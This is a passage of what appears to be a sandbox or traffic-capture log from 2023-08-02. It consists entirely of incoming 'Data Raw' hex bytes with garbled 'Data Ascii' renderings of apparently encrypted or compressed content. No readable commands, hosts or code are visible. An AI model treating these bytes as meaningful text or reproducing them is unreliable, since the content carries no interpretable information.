01 59 9a 19 06 1d 6b 05 2a 22 80 92 50 1d 24 Data Ascii: @eD&>V%Hft2V3-8UYfUjyO@0;a{H?Y1u'"E#@tvn;dXG7.8jXtT>/as\1[&nx$[l5?#q4~.\J-Sk_OW9)f{5B]/G?@Yk*"P$
2023-08-02 08:46:24 UTC	466	IN	Data Raw: f3 95 c5 c5 19 66 91 a1 48 81 f9 3b fe 15 c3 0f c6 e3 2b ae a7 3b 14 92 bb 2b f6 05 73 76 c1 aa 1f fd 72 c9 ff ac db 33 8e 82 8d 1f 3d 81 46 f6 53 1d 98 1b 6a ff d9 89 12 a6 dd 8f 9b d1 2f 0a 89 cc c6 32 b9 02 11 4c fb 80 c6 d6 7b 48 5a ce 8d 2a 40 08 06 53 68 14 72 a0 88 07 00 c1 f8 65 16 76 b7 10 39 5b 2a 79 b1 f0 a9 05 b6 b0 b3 ae e9 5a d2 de 81 ca 97 ba ce c1 60 a8 48 7f 0e eb 16 72 7f d3 89 0e 5c cb 06 c8 88 3a cf fd 17 2d e5 d5 a3 3f e3 8c c1 12 80 49 15 65 79 8b d5 a5 b6 0d 34 b0 d4 06 16 02 fd 06 be 62 e2 f3 a9 c7 05 e8 69 9c fc 15 d1 65 ef 7d 98 71 f9 f1 35 b9 32 48 22 88 82 71 80 d3 8a 31 2a b1 5d 58 82 96 87 8b 8c 8c 24 b5 ea 0e 10 4c 2c 2f 15 51 bf 86 8e d8 98 bd e4 0a 0a cc 07 70 3c 79 c0 fd be ba 8d f2 dc fa 30 5c 70 c7 7d a2 4b 03 d3 73 b7 Data Ascii: fH;+;+svr3=FSj/2L{HZ@Shrev9[yZ`Hr\:-?Iey4bie}q52H"q1*]X$L,/Qp<y0\p}Ks
2023-08-02 08:46:24 UTC	482	IN	Data Raw: fa d9 6e 87 28 2f 8d a1 4d d1 b9 52 e9 c7 1a 63 6f a7 55 7a 71 61 2d 04 4d ec 0e d5 09 b7 a5 52 86 2f 0c ac bd 34 03 27 85 5d 6b 10 41 ed a8 7e 70 80 31 99 a2 1d 41 85 f0 f4 df ef 82 66 8d 94 3f 25 e0 65 de 0d 32 ee 66 51 cf 48 79 5e e5 e4 ae 86 66 a4 8e b5 1b 00 10 6e de b8 74 0b 2b 7d 1a 69 3a 49 20 4b 77 02 2f ba 92 3c 40 6a 27 dd 11 b7 e0 f6 89 9f b5 0b 58 4b 2f ab 22 27 ac a7 74 70 2d 21 da 47 5c 2b 64 d4 68 80 6f da 05 b7 bf 4d 8b dc 97 c7 f9 38 bf 14 0c 1f 85 30 69 10 0a dd 65 0c 9f 22 ac d7 ac a3 55 33 c0 ed d5 04 ed be 03 64 99 45 1c ea 07 27 60 fc 8b 43 8b 1a ac 86 07 3d d8 b1 e7 6e 2d db 9e 18 49 45 43 d4 5e 0c 06 5f 52 d3 cb 22 fb fe 0b 16 c0 53 18 b2 da 01 fa 3e 25 62 96 70 aa b8 6d 95 c5 38 57 1b 20 88 0f 79 e6 8e aa 77 75 6b 66 44 c3 ab dc Data Ascii: n(/MRcoUzqa-MR/4']kA~p1Af?%e2fQHy^fnt+}i:I Kw/<@j'XK/"'tp-!G\+dhoM80ie"U3dE'`C=n-IEC^_R"S>%bpm8W ywukfD
2023-08-02 08:46:24 UTC	498	IN	Data Raw: e7 48 59 c8 3c f9 a7 d9 e4 08 84 9c 3e 63 57 64 90 a5 71 11 2e c0 32 e8 8a 49 da 58 8e f3 1e 56 d7 f7 c6 88 de ab 1a 81 f0 fa 23 95 cf d9 85 8b 87 6d 4d 2c 2f 67 a6 46 b6 cf 7a 5f f6 21 3a 0b 0b f4 16 66 60 c2 e3 e5 5a cf df 54 fb 45 22 ac 82 a3 47 7a 74 fd e1 f8 a7 1a 00 56 5d 19 bc fe e1 f3 84 cf fc 0a 75 c1 f3 d1 ad 04 90 e1 2d 76 0f 74 4c 4f 13 81 b6 bf 57 79 26 36 d9 d3 c0 48 2d 7f 57 73 ce 90 23 81 9f 73 6c 52 a6 da f4 fd 6d 81 36 e7 34 6e 14 b9 1f b3 2a 7b 82 da 31 ff 17 0a 5e b7 17 dd f9 71 83 79 24 54 6c cd 00 a1 44 89 cd f5 1c 1d 94 fb 6b 06 b9 c1 9b b8 e7 0e 5b 14 40 d9 2f 3f 78 1b 54 77 1f 65 dd 2e 2a 4c d6 6d 3b 5e 05 88 fa 94 b5 1f c6 b8 91 da 9b 40 7f b2 72 44 ee 56 1a d8 23 a1 92 8f d6 e9 69 cc ca ea 1a 94 16 89 fa 1f 3d a9 cb bb 6d 1a 5c Data Ascii: HY<>cWdq.2IXV#mM,/gFz_!:f`ZTE"GztV]u-vtLOWy&6H-Ws#slRm64n{1^qy$TlDk[@/?xTwe.Lm;^@rDV#i=m\
2023-08-02 08:46:24 UTC	514	IN	Data Raw: e2 92 ef f2 82 35 21 f4 f1 da 0f 00 65 b7 d8 8f 06 74 cc b7 28 ae 45 5b c2 9f ae d8 bd 4a c6 26 ec 49 68 9c 51 4f e0 a1 62 54 10 bf 2b 96 f8 39 20 69 f5 1f 47 d1 ca c2 3b 4b 69 9b c8 8e c3 80 21 2e 14 b8 bc 87 70 68 01 d3 ed f9 c0 54 1c df 10 cd 92 0f b2 6c 20 63 72 a4 92 d8 64 b2 5f fa db 33 59 d2 47 3e 03 04 ac 6c ac b5 c1 e3 5e 09 c2 35 f9 d2 22 c6 81 f9 47 45 d6 69 c6 0c 41 4f 9b 16 61 e2 4b ea 1d ab 7c 8b 1c 9d e7 e1 e6 be 88 33 2b 33 4a ed 45 a9 15 42 00 7a f4 74 bf 5d 13 39 17 b8 7b fb 15 42 9a 92 b2 0d 60 97 50 cf 90 8b 0a 18 42 84 ee 76 53 99 8c 45 af e4 55 37 bc c7 2e 71 1b fc 27 03 a5 86 f4 97 b7 61 09 a7 18 12 ca db 17 73 13 b1 0a 37 0a 7d 8c a9 b2 59 2c ef b5 bc 0a a5 5b ca 44 bc 1b 31 14 18 c1 ab c5 e2 03 19 39 b0 ca df 2a 09 7d 07 44 58 bf Data Ascii: 5!et(E[J&IhQObT+9 iG;Ki!.phTl crd_3YG>l^5"GEiAOaK\|3+3JEBzt]9{B`PBvSEU7.q'as7}Y,[D19*}DX
2023-08-02 08:46:24 UTC	530	IN	Data Raw: 47 ac f2 bb 12 39 2d 18 49 61 84 29 32 d7 76 cc 5c bf 27 12 d3 63 32 8b 86 9b b6 f9 f1 30 77 e3 f9 31 6e 4a 05 31 26 6d 0d 95 41 bd b3 69 88 cb a0 d5 be 9a 71 2b 13 bf 5e 63 8c b4 e2 46 32 c3 17 6d 43 f9 b8 c4 75 a0 42 50 cd c3 a3 51 bc 4b f8 d3 7c 45 07 7a b1 d4 25 77 c2 f3 29 fd 82 a3 82 1d 29 51 bf ba 47 9e 69 85 a8 4a d4 ca 50 41 d0 8a e8 40 a8 d3 68 18 98 1a 61 4e c4 17 cc 8e fd 1b 76 95 00 96 30 03 b5 6d 4d 33 3b aa ac d3 a2 95 ee 38 a5 74 9c 5e 08 50 61 36 6d e0 0f 8c 84 81 ae e3 12 2c 88 d8 69 2c 6f bf 53 d6 32 86 3a 4b 7f 6a 1f 1b ae 30 e5 39 df 6c 68 64 89 b5 b9 df 9e a3 58 63 73 82 84 8f bf 6b 10 09 7a 39 6c 52 d4 02 1b 7f c9 33 84 8b 09 bc 12 21 55 82 13 fd e6 ee 5e 2f 15 c1 9c 8b 78 af 4c e5 e4 c9 35 9d 3a a6 1c 0a 61 3b 42 84 9b 80 89 ae bd Data Ascii: G9-Ia)2v\'c20w1nJ1&mAiq+^cF2mCuBPQK\|Ez%w))QGiJPA@haNv0mM3;8t^Pa6m,i,oS2:Kj09lhdXcskz9lR3!U^/xL5:a;B
2023-08-02 08:46:24 UTC	546	IN	Data Raw: 4d 08 89 48 02 22 a0 68 15 1b 61 0c 92 7c 4e 15 71 0e 7b da c3 b1 87 c3 64 34 c0 3f 4b 91 1f 6a 4f c5 4e 38 f2 77 06 05 70 4b 82 12 14 a1 55 cf bf 21 79 8c c1 3f e4 6d 56 62 78 83 5f 78 5e 4e d0 2a ed 6c d5 e7 7c 74 1c ae 60 8c 44 50 fb da e7 f9 12 2f 19 b3 23 0f 87 67 f3 42 47 05 aa dd f2 c0 5a 56 87 b1 0a cd 70 f7 ea 55 d2 3a 38 37 87 4d b4 01 91 39 a7 d4 6a 54 18 01 59 5b a3 16 56 15 9a f7 53 ce 75 99 8e 8d 86 ad 50 e5 97 e3 38 63 80 dd fe 18 85 a8 40 42 73 35 ef 67 93 03 82 c4 41 a2 88 59 e6 65 33 24 de 13 67 52 f6 88 e8 98 42 dd 13 7b 42 8b 24 13 f7 65 50 da ec bb c7 59 7b 6f 1c 9f 4f 33 fd 1e a5 ee cc 21 2c fe 04 48 28 7d e4 7e c8 53 fc e2 fc 73 ea cd 86 ca fe e4 7b 6c e0 f3 d4 ea f6 7f f1 88 e7 1f b3 e1 30 de 14 6a 98 df 37 76 88 2e f2 be f4 70 a0 Data Ascii: MH"ha\|Nq{d4?KjON8wpKU!y?mVbx_x^N*l\|t`DP/#gBGZVpU:87M9jTY[VSuP8c@Bs5gAYe3$gRB{B$ePY{oO3!,H(}~Ss{l0j7v.p
2023-08-02 08:46:24 UTC	562	IN	Data Raw: 31 66 48 92 58 5b 73 60 db 57 94 00 59 b1 6b 32 df f7 ae c1 93 fe c4 27 a2 4f 21 3d 94 94 ec f3 d4 55 ed e6 95 df 8b fa 2d 75 82 42 4f e2 ce 0c 1e 92 b7 e2 db c8 4e 36 e2 58 d2 2b 11 bd fa ac 97 cd 3d aa 07 c9 6a 08 e5 1a eb 88 69 72 35 76 ed db ee ff 40 bd 1d 06 3c 61 e1 ea be 24 fd fc aa 82 43 5c 17 19 57 55 49 e7 09 24 42 f8 ff 22 c0 c3 39 02 52 9a 9a 5a 0e 43 b2 00 d2 9f 46 23 69 ae fb 11 0f dc 07 8d 59 c6 e5 4b 5f 37 3a 99 4c 41 4e f3 4e c5 ae 61 4f 2d 25 15 56 c8 2e cd ff 58 f7 ec 95 f5 ef c6 ed fc 2b ab e6 5d 1a af 83 7e 0b be 97 12 d1 d0 6c db bb ac e0 03 b4 34 5c 73 88 b3 70 5d f4 1a 04 7d 7c dc 55 12 2c a3 25 02 db 05 62 fe 07 ab f2 75 23 d4 04 b3 e0 89 54 d2 13 e8 8b da da f3 a4 1a 91 25 60 8e 39 22 99 d3 57 12 ea 75 64 42 64 cd b2 55 bb 84 65 Data Ascii: 1fHX[s`WYk2'O!=U-uBON6X+=jir5v@<a$C\WUI$B"9RZCF#iYK_7:LANNaO-%V.X+]~l4\sp]}\|U,%bu#T%`9"WudBdUe
2023-08-02 08:46:24 UTC	578	IN	Data Raw: 91 87 26 13 e0 e7 9e a3 cc 29 8b 02 95 b4 8e 78 de 6c fe ed 58 fe f2 ac e4 0f 92 b4 33 15 ce 7c 61 80 db c7 55 c9 11 de d9 f8 a9 07 5c 61 3d 6e f7 48 7b f4 15 01 20 9f 09 75 6d 48 3e 24 a4 15 09 26 b8 da 2b cd a0 d2 7e 07 3c 5e f3 18 a7 01 80 11 60 99 15 26 dd ae 65 78 29 e8 50 d0 c8 37 e0 72 e8 12 92 9e 43 69 8f 9a 3d 1d 5b 55 fd 5f 78 fb d1 51 09 1d 1b d3 b9 f4 a2 2a cc 4d 53 8c c2 2c 38 1a da 88 e5 e3 a4 35 d2 f9 e9 dc 3a 6c ca fd cd b5 78 51 9b 4a 6a a9 40 0c 17 73 05 33 c7 84 59 3f 6b 33 e4 9a f3 ea e4 6a e7 7a 85 00 41 30 11 b2 7c 9e 44 82 0a 01 d5 ea e9 a1 b8 9d f7 16 22 5e ee 0e f3 ab 5f 17 20 ff 9b 84 42 ff 1c c7 65 23 67 fb 1a b5 41 b9 10 25 78 91 52 f1 08 d5 cf 19 3c 1c c2 e7 14 6f a5 99 9f ea 9d 5b 40 e8 9e c2 80 63 06 db 41 c8 3c d3 38 5a b7 Data Ascii: &)xlX3\|aU\a=nH{ umH>$&+~<^`&ex)P7rCi=[U_xQ*MS,85:lxQJj@s3Y?k3jzA0\|D"^_ Be#gA%xR<o[@cA<8Z
2023-08-02 08:46:24 UTC	594	IN	Data Raw: 1f 08 82 41 d2 ba 47 94 18 9d 84 1b 5c 33 c4 79 5d 44 66 a7 e1 1a cc 25 df a2 54 2e 68 c7 2c 22 a2 9c 2e b5 6f af 98 4b 0f 63 3c ef b8 68 43 d5 dd cf cc 32 c2 38 86 e7 46 22 83 28 07 38 ef e1 fb ef 6d 4b 91 ab 7c 6a 27 f0 40 c4 23 d4 b6 29 ee 2c f8 a3 8e ce bd f8 6f b8 44 ab 22 8b 95 58 44 f8 6a 31 7d d5 be 3a d0 6c ea 53 04 e4 0f 24 92 a6 d4 96 a5 1f 82 b5 29 71 fb a7 95 56 7c 1d 4e cb 14 74 c7 fa 6f 12 d8 af 84 52 ab 8b 5d 8c f5 10 9e f5 23 ac 73 fd 97 e1 25 f4 c1 d6 d0 a0 04 49 3c 42 8e e6 09 d3 f8 57 e4 f7 7e 8d 7a f9 8f e9 b9 c6 4d 36 82 19 0a 32 83 02 c9 41 5d a2 0b 21 a6 ed 1d be 30 be ba f7 7b 88 e8 d5 db 08 81 d9 10 e6 71 a6 91 1d f6 74 f3 58 e8 cc ff b1 a5 f3 f3 7b df f2 54 c7 8b 62 38 b9 0e a1 d7 55 8d aa 38 2a 70 d8 2c aa 46 e4 e6 64 83 e2 6b Data Ascii: AG\3y]Df%T.h,".oKc<hC28F"(8mK\|j'@#),oD"XDj1}:lS$)qV\|NtoR]#s%I<BW~zM62A]!0{qtX{Tb8U8*p,Fdk
2023-08-02 08:46:24 UTC	610	IN	Data Raw: c5 a0 7a f0 41 2b aa ad df 6e c5 68 76 ea 41 30 a2 8d c9 4e 6f 68 cb 74 38 c0 7a 49 ed 2e c9 ec b7 10 4a 0a 7a 65 32 d8 be c3 03 24 42 27 5b 1d 0b d9 42 38 78 f1 85 a3 b4 45 1c 98 50 42 8a 2f 7e 85 b9 3c 46 2b 7e ee f6 3b 01 67 a7 19 43 20 53 2b bc 5d 16 52 61 0e 34 c5 22 06 d8 05 3e 7f ba 0d ec 4f 5a 92 48 7a a6 8d 59 2e eb 32 a8 bb 3e 7b ac 40 7d 45 85 e1 77 f2 f5 b1 a8 cf c6 4a 8a a1 8d d4 e2 75 7b 09 83 e5 e1 bb 2a 4e 32 ef b9 c3 b8 0b 21 86 e2 e0 05 35 e9 df 2a 21 0f 36 1f 05 c3 c8 a3 47 56 f0 2e 67 fc 54 82 7f f4 62 6b de 85 18 ce 00 98 21 76 ab 36 4a 72 54 f9 f1 fb 44 db 46 31 47 fd 2c f7 e0 e4 1f de ee 83 8d bb 68 c9 12 f5 19 83 d1 59 51 b3 39 35 02 49 dc a5 98 bd 43 4b 6e a5 90 b9 fe 9e 73 39 f8 1a ba e0 c9 fe 4f dc 91 b7 6b 96 0d 66 7a b8 ca 24 Data Ascii: zA+nhvA0Noht8zI.Jze2$B'[B8xEPB/~<F+~;gC S+]Ra4">OZHzY.2>{@}EwJu{N2!5!6GV.gTbk!v6JrTDF1G,hYQ95ICKns9Okfz$
2023-08-02 08:46:24 UTC	626	IN	Data Raw: 83 d4 16 ac 61 73 95 ef 1d 1c b1 93 90 79 2a 21 7c e6 da f2 af ca 36 93 7a 0d 45 4b 01 4a 7e 8e bc 39 18 b6 7c df 61 a0 bf 5e f6 6e e2 c2 db a4 a1 da ec 19 fe b5 c1 0a 2a b3 82 8f 28 72 ed 7b 80 1e 3c 49 82 f8 fb 7f 3e 18 9c aa c9 cc 1e 64 a4 55 85 8b 30 c5 53 72 f2 0d 73 1f 52 be 5c cc e2 bf c8 b4 47 5d 20 1c 0e f7 2e a2 e3 1d 53 55 ae ca 90 0a a7 67 be 61 ac 70 b6 6e 5f 79 de a6 24 e9 8a 62 02 9d 3e 2b 1e b2 f3 5e ad 98 24 42 d4 19 76 7d 68 dc b1 a1 57 13 c6 e7 db 31 ce 4d 4b ed 43 73 0d 5e 62 01 5d c5 15 d1 38 65 b4 da 7c 4c 8e 37 6a 1d 6b dc 1a 6f ca d3 e9 07 10 39 f0 10 fc 20 de 4a 93 c3 9d ef 27 8b 65 32 1b 7e 3b 94 42 ff 36 42 ad 5d 39 8f 04 55 f5 b3 a9 08 16 ae 08 89 17 2b cc 1d af c8 69 30 ec f3 5b 15 35 8b 91 14 8e 87 a7 01 f9 6f 92 3b bb 7b 75 Data Ascii: asy!\|6zEKJ~9\|a^n(r{<I>dU0SrsR\G] .SUgapn_y$b>+^$Bv}hW1MKCs^b]8e\|L7jko9 J'e2~;B6B]9U+i0[5o;{u
2023-08-02 08:46:24 UTC	642	IN	Data Raw: 54 26 ad e7 4c a8 f0 38 ac c9 6b b5 4b 7b 92 d0 6f 3b 4f 14 0b fa 1e b9 49 3b e4 eb 70 d5 0e 69 e6 65 db 8c f4 af d1 a3 f1 50 41 a2 40 85 fa 1d 2d 6c d1 8a d2 0e 6b 02 79 fc 6a ef 26 6f 2a ab c1 29 ae 77 95 6d 16 a4 0c d0 38 10 b1 f8 59 9f d9 5b cd bd c7 2f e7 f0 1d 15 70 8a 0c 84 84 78 02 20 cd 8a ad 56 0e 0d 38 b9 59 9f df b2 af 67 53 5a 71 b8 4a df a4 2f 08 32 a4 8a 53 1a 09 7a 34 a1 17 0f 39 d6 83 38 08 fd 9d 9a f4 f9 e0 e1 3e 63 3d ba 6a 6b a5 b1 cb 5f 7a c4 1a 99 f6 e6 15 e1 0c 58 72 7b 65 74 38 71 d2 b5 10 e1 15 4b 12 49 8b b7 31 35 68 29 92 44 bb ab 35 54 75 f3 a0 00 b7 7b 51 27 d6 83 21 a6 66 ac 49 c2 e1 49 5d 1a 05 7c 13 1a 37 7b be 9b 80 f6 43 21 4f 8c a8 fc 2f f1 42 7b 2e f2 c8 de 17 b9 90 6b 9c 0c 30 44 43 69 6e c7 26 04 aa 23 17 f3 d5 5b 02 Data Ascii: T&L8kK{o;OI;piePA@-lkyj&o*)wm8Y[/px V8YgSZqJ/2Sz498>c=jk_zXr{et8qKI15h)D5Tu{Q'!fII]\|7{C!O/B{.k0DCin&#[
2023-08-02 08:46:24 UTC	658	IN	Data Raw: 34 96 90 5b bf 43 de 35 57 69 a4 ac 51 68 4a 41 78 61 c9 cb 41 7f 7d 9e 46 29 02 09 fb d2 03 5e 38 b4 e5 5e 8d 97 c7 98 a1 95 a9 40 78 c7 13 dd cc 8f 87 84 df 33 73 84 36 09 2b 67 e1 0e e7 df 0e a0 4a b4 8f 09 26 12 7d 84 dc 70 e9 21 51 2d 74 e1 33 36 ff ab 48 7b 92 ca e2 ba 66 ea 10 9d 99 26 cd 44 b8 ac 76 7c 9e 03 8f b2 bb 57 e3 08 3a 1d 44 67 ff 34 90 b2 57 4d 16 ca bb 9f 6f ad e7 24 02 a4 2f 59 77 26 60 2c d0 3f f3 d2 76 f1 44 b7 20 19 db f7 93 31 c2 af b8 54 44 a8 9e 43 b4 df 86 93 38 85 6c 2c 0a 31 64 af ef 91 7e 6b f3 89 0c 42 d0 6b 71 70 b3 ab 76 18 82 c2 e0 ee 8b 12 4f 24 95 4f 9d 4d f3 03 76 64 e5 a5 73 ad 9d 02 0c dc 9a 90 9b 1c cf 35 d5 25 91 26 e1 8e 6c 7a 1b de 89 c4 b2 a2 89 17 b7 df 84 4e e6 a4 d8 3f 6b d2 5c c7 dd 11 d3 dd 27 6a 2d 63 af Data Ascii: 4[C5WiQhJAxaA}F)^8^@x3s6+gJ&}p!Q-t36H{f&Dv\|W:Dg4WMo$/Yw&`,?vD 1TDC8l,1d~kBkqpvO$OMvds5%&lzN?k\'j-c
2023-08-02 08:46:24 UTC	674	IN	Data Raw: 2f 18 82 34 6a ee 1b 16 cc 26 8d a9 d9 99 00 d0 65 e2 43 97 da 4c dd d2 a2 d3 6f 79 cb 70 9b 24 ff 37 8b 2b 05 bd ea 93 59 6a ae a7 be 27 99 b5 02 cd 93 25 6e d0 ca 6c 3e 70 f5 98 f5 f9 7a bd 06 bf 9e da f6 21 d5 84 d5 32 f9 c3 38 6b 4e 53 0e c7 56 6f f6 4a 5c 57 88 c9 d3 37 b9 b7 72 7d 65 3f bc 07 49 04 1d 1a d3 0c a8 25 1c f3 9d cc a3 a4 7d 28 d1 31 90 20 a5 93 16 36 b8 2e 6c f3 37 19 69 54 36 a0 f5 4b 83 c8 45 3b 5b db bb cb 21 9c 1c 0b 66 d1 2f a0 b6 5f 78 94 3a 5e 8f f2 bf 4a 2a 42 12 41 a2 fb 41 c2 65 89 fa 9b 69 af 4f 65 e8 1e be dc aa b5 60 f0 2c 1d 36 58 3d f0 d4 ec b0 89 7a 1c 9c ee 60 3b c7 82 20 66 0c a0 0b 3a 48 f5 24 22 b9 07 6b 23 bc 68 73 c1 f2 35 2c b5 3e c4 b1 ae e5 e5 b7 41 36 97 a9 d5 89 ab ed 7d da 3f f4 9c f3 9a 92 ab 64 33 ff 36 a2 Data Ascii: /4j&eCLoyp$7+Yj'%nl>pz!28kNSVoJ\W7r}e?I%}(1 6.l7iT6KE;[!f/_x:^J*BAAeiOe`,6X=z`; f:H$"k#hs5,>A6}?d36
2023-08-02 08:46:24 UTC	690	IN	Data Raw: 02 1a 3e dd ef c6 b1 d0 4f b9 8b a9 bc e1 ba 60 e1 76 da 29 e1 65 a7 ba a5 04 e7 e0 fc 1f d8 35 13 81 a3 23 55 19 c7 40 1b 27 b6 b0 4e 60 9f 18 5e d5 fa 34 d2 c9 20 cd ab dc 30 fc 35 76 8c d4 60 c3 00 c4 f0 5b 2b 98 4b 9a c9 53 7c d9 5b bb 02 e4 15 d9 3a 90 ac 31 a6 50 da 88 be fe 53 5a 78 f9 5b 2a 4d eb a5 34 16 09 cf bc ff 8f f3 9c 19 09 45 68 c3 92 fb fb a7 0b 1c e9 5c 08 9a 2d 07 1d e0 d8 b2 01 75 b8 58 1b 27 ef 20 27 37 59 8d e5 a2 d3 0b ca 75 d0 39 89 67 d2 aa 3d 16 aa 56 4c 17 73 1a 6c 6a 4e 4b 75 8b b9 25 50 fd 87 2d 10 ee 1b f0 54 81 fc 59 f4 56 c3 70 20 1c 7b 30 2a 6d d0 bf 9b 45 70 a6 ae ac 0b bb 84 91 09 38 5f 5c 8c 4f 68 f1 3c 90 1e 09 fe 77 4e 8c 13 12 c6 23 24 be 73 89 7b cf 8b 00 03 78 b5 11 09 79 37 52 72 8c 8a f3 8c dc 15 df 19 11 2a 21 Data Ascii: >O`v)e5#U@'N`^4 05v`[+KS\|[:1PSZx[M4Eh\-uX' '7Yu9g=VLsljNKu%P-TYVp {0mEp8_\Oh<wN#$s{xy7Rr*!
2023-08-02 08:46:24 UTC	706	IN	Data Raw: 1b 57 6a a1 05 d8 0b 10 73 43 d8 ef 4e b0 c4 e0 30 7f 4c 0f 6c 4e 02 b8 b4 01 ef 60 3c 79 ed e8 87 75 9a 40 dc 9f dc 8f 7b 32 d5 13 be aa e4 fa f7 7c 85 a0 12 ce aa 55 0c 87 ce 14 08 0a b3 26 4f 27 14 e7 7e f4 0b 1f 85 de bb dd c3 e9 19 28 49 4e 67 da 16 85 9f e9 1c 84 9b a0 5e dc c3 6a 94 28 a6 0f 56 b1 5b c7 aa bc a1 01 e1 e8 13 44 82 25 ae cf 73 2d 98 9d ba 5e 5e 67 14 72 0c d9 18 98 0a 10 ca 65 2f 4a c0 43 4d 84 21 d0 cf 3e f3 04 d8 ee 38 f5 fc ee fd 01 2c f8 af 74 3f 24 1a 3c 77 48 b3 f8 58 2f 77 a2 a2 db 2c 23 32 66 39 f2 e9 82 c6 2f b5 2c 6f 42 8b 58 15 72 b7 32 cb c7 3a 5b eb 20 3f be 3c b9 5a 9c 33 ba 1c 7a e0 5c 13 90 67 16 14 d3 8d df 3d 96 cd bf 92 45 f6 3f 0a 6c 04 92 e5 fd f6 31 fd 9f b0 21 ac 70 4a 0d 8c 42 57 12 53 52 93 df b5 cd ef cd a5 Data Ascii: WjsCN0LlN`<yu@{2\|U&O'~(INg^j(V[D%s-^^gre/JCM!>8,t?$<wHX/w,#2f9/,oBXr2:[ ?<Z3z\g=E?l1!pJBWSR
2023-08-02 08:46:24 UTC	722	IN	Data Raw: 29 21 8f f8 d9 8b 74 9b 16 f4 c1 ba ee 84 1e 5f 86 b4 95 9e a1 b2 ba f8 6e 9e 22 70 d9 1e 9e a6 74 0a 2b a7 d0 5d d6 f7 c8 92 2a 42 46 6b a0 e1 d0 d9 ee 06 76 92 32 d4 ff 5d 5f 49 0c f6 34 85 cf d8 fa 9c 72 21 ef a6 b2 24 4a bd cd 1c 7b 65 8f 22 3a 37 6e 46 6b ed 77 c9 ef 89 ab e0 be c8 7a b7 54 9c fb 5a 2f 17 81 09 b4 78 b6 25 e2 e9 3b 04 5a 8b cd 65 92 b6 8b a7 05 11 11 0e 56 20 b4 4f 03 bd 3d 89 f9 ea 13 9b cf 8d 45 80 a9 e2 fc 39 b7 35 0d b0 f5 c8 32 5a 31 33 9f fd 83 b0 3b 88 6a 3b bf 5e 50 52 c0 18 36 e7 f8 3c ff 31 1d 9c eb 44 a2 68 39 9b 69 64 b6 05 ad d7 0c 3c 48 15 1e fe 37 8b e8 54 3a 7b 15 53 6d 38 b6 b7 bb 9a 8e 0a 1e 41 6a 40 94 68 05 a6 e8 11 75 09 38 6b cc ea 57 7e 5a c2 86 06 aa 87 70 86 a9 90 1b 0b bf f3 a3 4e 14 73 01 68 88 06 9f db 87 Data Ascii: )!t_n"pt+]*BFkv2]_I4r!$J{e":7nFkwzTZ/x%;ZeV O=E952Z13;j;^PR6<1Dh9id<H7T:{Sm8Aj@hu8kW~ZpNsh
2023-08-02 08:46:24 UTC	738	IN	Data Raw: 67 b9 4a ee fd 4b 0b 9b 02 75 cb b8 45 96 af 43 07 d4 24 ef 1d ac 8c 35 9e 11 3b 18 83 33 8b a7 c0 8b c2 d1 80 b9 f4 2d 3e b8 79 63 11 18 8a 8d 88 ff cf b4 a2 f4 b0 50 b5 cd 5c d9 a1 ef 03 34 6b 7d 68 6c 83 97 14 f5 de c0 40 79 3f 8e 49 07 76 54 94 79 ef 83 94 10 74 09 60 64 0c d6 21 01 f0 64 47 26 fe 0a b1 6e 7d d6 2f 09 0b d3 7e 06 1b 30 3b 17 a2 ce 62 1e a0 2b dc 2c 5e 3a 23 4b f2 a1 c2 e1 29 5d 6c bc 5e 7b df 78 ac b0 b7 15 9a 90 56 ef d9 6b ef 75 d8 0b b9 71 d3 57 e5 9c 4f 30 81 ea c2 44 09 0d c3 ba 92 a2 71 cc e5 d5 73 3c c6 25 bd 21 7b e7 7f 6a ce 25 91 56 90 7b f1 5a e3 a0 bf 2a 25 f5 0a c4 32 e2 39 d3 84 63 12 20 a4 8c 29 af 1d c7 6f 5d 95 63 65 1a 1d 88 f7 9e 92 c6 f0 97 90 60 26 08 6c 30 c4 b6 67 08 62 c4 af 09 61 da 34 d0 f5 8a c4 3d 91 8a 02 Data Ascii: gJKuEC$5;3->ycP\4k}hl@y?IvTyt`d!dG&n}/~0;b+,^:#K)]l^{xVkuqWO0Dqs<%!{j%V{Z*%29c )o]ce`&l0gba4=
2023-08-02 08:46:24 UTC	754	IN	Data Raw: 45 20 81 c4 eb 32 f3 e0 2c c2 ff 13 05 0b 89 3b 75 0c 92 53 d7 76 b1 ce 43 49 8e 5f 81 a2 19 77 ea 31 d9 5d 6c 62 8e f6 af 7d f3 ef c5 51 fa 09 a1 ad ef 82 38 25 52 c8 4c 03 fd 35 63 3a aa 21 1f 29 6b a1 28 88 c9 e6 64 f1 01 04 94 6f 7d 2f a6 cc cd 4a 00 c2 34 79 b2 4e c3 a9 0f 86 c8 c5 38 b0 65 9c dc d7 fe 5a ce ae 88 d5 72 29 7b 27 c0 55 94 e8 ed 30 b2 e1 dd ac 5f 4f da d9 d1 e4 59 49 f9 fb 4e 9c 2a f7 9e a9 47 c5 e9 8c c8 ca 35 b4 16 09 c5 0e c8 2a 88 d6 39 e5 12 ef 0d 84 b7 b0 25 f7 24 f2 7d f2 8d 2e ca 2d d5 4e ff 00 60 cb 76 f5 3e a4 f2 c1 d4 ca 7c cb 55 65 d3 e8 bb b1 0c 7f 2b b7 18 b6 71 c8 82 e8 43 78 2f 90 75 36 19 df 24 1f 93 50 1e 3b 9b 77 f9 c3 e2 06 61 ac 0c 2c a3 de 8f d2 ce 39 6b 40 b9 1d 9c 21 6c 9d 09 e6 bf 1e ed 24 50 83 45 f9 47 ae d3 Data Ascii: E 2,;uSvCI_w1]lb}Q8%RL5c:!)k(do}/J4yN8eZr){'U0_OYING59%$}.-N`v>\|Ue+qCx/u6$P;wa,9k@!l$PEG
2023-08-02 08:46:24 UTC	770	IN	Data Raw: 55 10 bb 4b 21 88 66 57 8b 71 52 f4 b0 fc c3 ab 41 e2 fd 64 d7 31 85 42 2b 9b 56 dd fd ac 06 c8 55 9b 05 09 03 5a 24 c4 2e be 2d 85 12 97 8e d9 64 a7 12 af f8 be 93 ef 54 fa f3 a2 7d f6 18 1a 0c 5b c0 bc d7 98 06 5b 37 b1 c8 cb 7e df 18 82 8f 81 e6 33 75 64 23 f1 c3 d6 6e 56 cb aa 03 a7 99 0c f0 af 15 43 08 be b5 a2 57 0d be 40 52 96 c3 26 54 9f 7c 85 ad eb 35 3c dd 55 f7 ff 7d 55 a6 01 15 47 a0 e1 9b 4b d7 3d f5 37 76 13 83 63 9b 79 30 cc d6 f2 fd aa 3b c3 15 86 a9 67 6e 1a bf d4 0c fb d1 67 c1 79 6f 5a e8 32 12 e9 6e 2d 3c c0 e7 a9 9e 7c 7d 39 f5 f6 aa 89 ea 46 50 aa cc 26 c1 00 2e 33 be ba 88 ff f2 30 24 4d f9 71 66 05 03 8f 74 55 